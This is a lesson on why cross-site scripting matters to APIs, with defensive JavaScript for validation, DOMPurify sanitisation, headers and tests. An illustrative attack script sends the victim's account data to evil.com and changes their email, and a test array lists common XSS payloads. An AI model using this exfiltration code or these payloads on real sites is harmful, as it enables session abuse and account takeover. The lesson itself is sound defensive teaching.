XSS and Why It Matters to an API

An API rarely renders HTML, and it is usually where the payload is stored and where the damage lands.

Cross-site scripting is a rendering vulnerability, so it feels like a frontend problem. It is not, for two reasons: your API stores the payload, and your API is what the injected script attacks.

The API's two roles

Storage. Stored XSS is an API that accepted <script> in a display name and returned it faithfully. The frontend rendered it, but the persistence is yours.

Target. Once a script runs on your origin, it can call your API as the victim, with their cookies attached or their token readable. Everything you built to authenticate the user now works for the attacker.

Where the API can actually help

  • Do not become a rendering context. nosniff, an accurate Content-Type, and Content-Disposition: attachment on user content.
  • Do not serve user content from your origin. An uploaded HTML or SVG file on abc.com is XSS with full access to your session.
  • Validate on the way in. A display name does not need HTML. Reject markup where markup is not a feature.
  • Sanitise rich text server-side, with an allowlist, if users legitimately submit HTML. Client-side sanitisation is a UX nicety — the API must not trust it.
  • Limit the blast radius. Tokens in memory rather than localStorage; HttpOnly cookies; short lifetimes.

Encode at output, validate at input

The correct escaping depends on where the value is rendered — HTML body, attribute, URL, JavaScript context. That decision belongs at the rendering site. The API's job is to store the value faithfully and refuse what is obviously not data.

Do not store pre-escaped HTML

Escaping on the way in breaks every non-HTML consumer — mobile apps, exports, emails — and double-escapes when the frontend escapes again. Store the truth; escape at render.

Example

Example · javascript
// What an injected script does with your API
// (running on abc.com, as the victim)

const me = await (await fetch('/api/me', { credentials: 'include' })).json();
await fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify(me) });

// Change their email, then trigger a password reset to the attacker's address:
await fetch('/api/users/me', {
  method: 'PATCH', credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ email: '[email protected]' }),
});

// No credential was stolen. The script simply used the session in place.

When to use it

  • A stored XSS in a display name lets an attacker read every viewer's account data through the API using their own session.
  • An uploaded SVG served from the application's origin executes script with access to session cookies.
  • Pre-escaped HTML stored in the database appears as literal &amp;lt; in a mobile app and an emailed report.

More examples

Validate in, sanitise rich text, escape at render

Storing the raw value and escaping at render is the rule that keeps non-HTML consumers correct — pre-escaping is the shortcut that breaks exports and mobile clients.

Example · javascript
// ── Plain fields: reject markup, do not escape it ─────────────────────
const profileSchema = z.object({
  // A display name has no legitimate reason to contain markup.
  name: z.string().min(1).max(100)
    .refine((v) => !/[<>]/.test(v), 'Must not contain < or >'),
  bio: z.string().max(500)
    .refine((v) => !/<[a-z/]/i.test(v), 'HTML is not permitted here'),
  website: z.string().url().max(200)
    .refine((v) => /^https?:\/\//.test(v), 'Must be http or https')
    .optional(),   // ← blocks javascript: and data: URLs
}).strict();

// ❌ Do NOT store escaped HTML
// await db.users.update(id, { name: escapeHtml(req.body.name) });
//   → the mobile app shows "O&#39;Brien"
//   → the CSV export shows "O&#39;Brien"
//   → the frontend escapes again: "O&amp;#39;Brien"
// Store the truth. Escape at the point of rendering.

// ── Rich text: sanitise SERVER-SIDE with an allowlist ────────────────
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const DOMPurify = createDOMPurify(new JSDOM('').window);

export function sanitiseRichText(html) {
  if (typeof html !== 'string' || html.length > 100_000) {
    throw new BadRequestError('content_too_large');
  }
  return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 'a', 'ul', 'ol', 'li',
                   'h2', 'h3', 'blockquote', 'code', 'pre'],
    ALLOWED_ATTR: ['href', 'title'],
    ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,     // no javascript:, no data:
    FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed', 'form'],
    FORBID_ATTR: ['style', 'onerror', 'onload', 'onclick', 'srcset'],
    ALLOW_DATA_ATTR: false,
  });
}

// Client-side sanitisation is a nicety. The API must sanitise again, because
// the API is reachable without the client.
app.put('/api/posts/:id', auth, async (req, res) => {
  const body = sanitiseRichText(req.body.content);
  await req.repos.posts.update(req.params.id, { content: body });
  res.sendStatus(204);
});

// ── Links: rewrite them, do not just allow them ──────────────────────
export function safeLink(url) {
  let parsed;
  try { parsed = new URL(url); } catch { return null; }
  if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) return null;
  return parsed.toString();
}
// javascript:alert(1) and data:text/html,... are both rejected here, and both
// are valid href values that DOMPurify configurations sometimes let through.

Keeping the API out of rendering contexts

Serving user content from a separate registrable domain — not just a separate path — is what makes the browser treat it as a different site with no access to your session.

Example · javascript
// An API that is never rendered as HTML cannot deliver XSS itself.

// 1. nosniff plus an accurate type, on every response
app.use((req, res, next) => {
  res.set('X-Content-Type-Options', 'nosniff');
  res.set('Content-Security-Policy', "default-src 'none'; frame-ancestors 'none'");
  next();
});
app.use((req, res, next) => {
  const json = res.json.bind(res);
  res.json = (body) => {
    res.set('Content-Type', 'application/json; charset=utf-8');
    return json(body);
  };
  next();
});

// 2. User content NEVER from your origin — this is the important one
//      app:          https://abc.com
//      user content: https://usercontent-abc.com     ← a different SITE
// Even if an uploaded file executes, it does so on an origin with no cookies,
// no localStorage and no access to your DOM.

app.get('/files/:id', auth, async (req, res) => {
  const file = await req.repos.files.find(req.params.id);
  if (!file) return res.sendStatus(404);

  // Redirect to a signed URL on the content domain rather than proxying it.
  res.redirect(await signedUrl(file.storageKey, { expiresIn: 300 }));
});

// If you must serve it yourself:
res.set({
  'Content-Type': file.detectedMime,                  // detected, not claimed
  'X-Content-Type-Options': 'nosniff',
  'Content-Disposition': `attachment; filename="${sanitise(file.name)}"`,
  'Content-Security-Policy': "default-src 'none'; sandbox",
  'Cross-Origin-Resource-Policy': 'same-origin',
});

// 3. Never build HTML in the API
// ❌ res.send(`<h1>Welcome ${user.name}</h1>`)
// If an endpoint returns HTML, it is a page, and it needs page defences.

// 4. Bound the damage in the frontend contract
//    - access token in memory, never localStorage
//    - refresh token in an HttpOnly cookie
//    - short token lifetimes
// An XSS can then act while the tab is open, and cannot walk away with a
// credential that works tomorrow from another machine.

Testing the storage half, which is yours

The pre-escaping test is unusual and worth keeping: it fails when a well-meaning developer adds escapeHtml at the input boundary and breaks every non-HTML consumer.

Example · javascript
// The API cannot test rendering, but it can test that it does not become a
// rendering context and does not corrupt what it stores.

const XSS_PAYLOADS = [
  '<script>alert(1)</script>',
  '"><script>alert(1)</script>',
  "<img src=x onerror=alert(1)>",
  '<svg/onload=alert(1)>',
  'javascript:alert(1)',
  'data:text/html,<script>alert(1)</script>',
  '<iframe src="javascript:alert(1)">',
  '<a href="javascript:alert(1)">x</a>',
  '<style>@import"//evil.com"</style>',
  '\u003cscript\u003ealert(1)\u003c/script\u003e',
];

describe('XSS: the API half', () => {
  it('rejects markup in plain fields', async () => {
    for (const payload of XSS_PAYLOADS) {
      const res = await request(app).patch('/api/users/me')
        .set('Authorization', `Bearer ${token}`)
        .send({ name: payload });
      expect(res.status).toBe(400);
    }
  });

  it('strips dangerous markup from rich text but keeps the safe parts', async () => {
    const res = await request(app).put('/api/posts/1')
      .set('Authorization', `Bearer ${token}`)
      .send({ content: '<p>Hello <strong>world</strong></p><script>alert(1)</script>' });

    const stored = await db('posts').where({ id: 1 }).first();
    expect(stored.content).toContain('<strong>world</strong>');   // preserved
    expect(stored.content).not.toContain('<script');              // removed
    expect(stored.content).not.toContain('onerror');
  });

  it('rejects javascript: and data: URLs', async () => {
    for (const url of ['javascript:alert(1)', 'data:text/html,<script>alert(1)</script>']) {
      const res = await request(app).patch('/api/users/me')
        .set('Authorization', `Bearer ${token}`).send({ website: url });
      expect(res.status).toBe(400);
    }
  });

  it('does not store pre-escaped HTML', async () => {
    await request(app).patch('/api/users/me')
      .set('Authorization', `Bearer ${token}`).send({ name: "O'Brien & Sons" });

    const stored = await db('users').where({ id: user.id }).first();
    expect(stored.name).toBe("O'Brien & Sons");      // the truth, not &amp;
  });

  it('never returns a response a browser would render', async () => {
    const res = await request(app).get('/api/me').set('Authorization', `Bearer ${token}`);
    expect(res.headers['content-type']).toMatch(/application\/json/);
    expect(res.headers['x-content-type-options']).toBe('nosniff');
  });
});

Discussion

  • Be the first to comment on this lesson.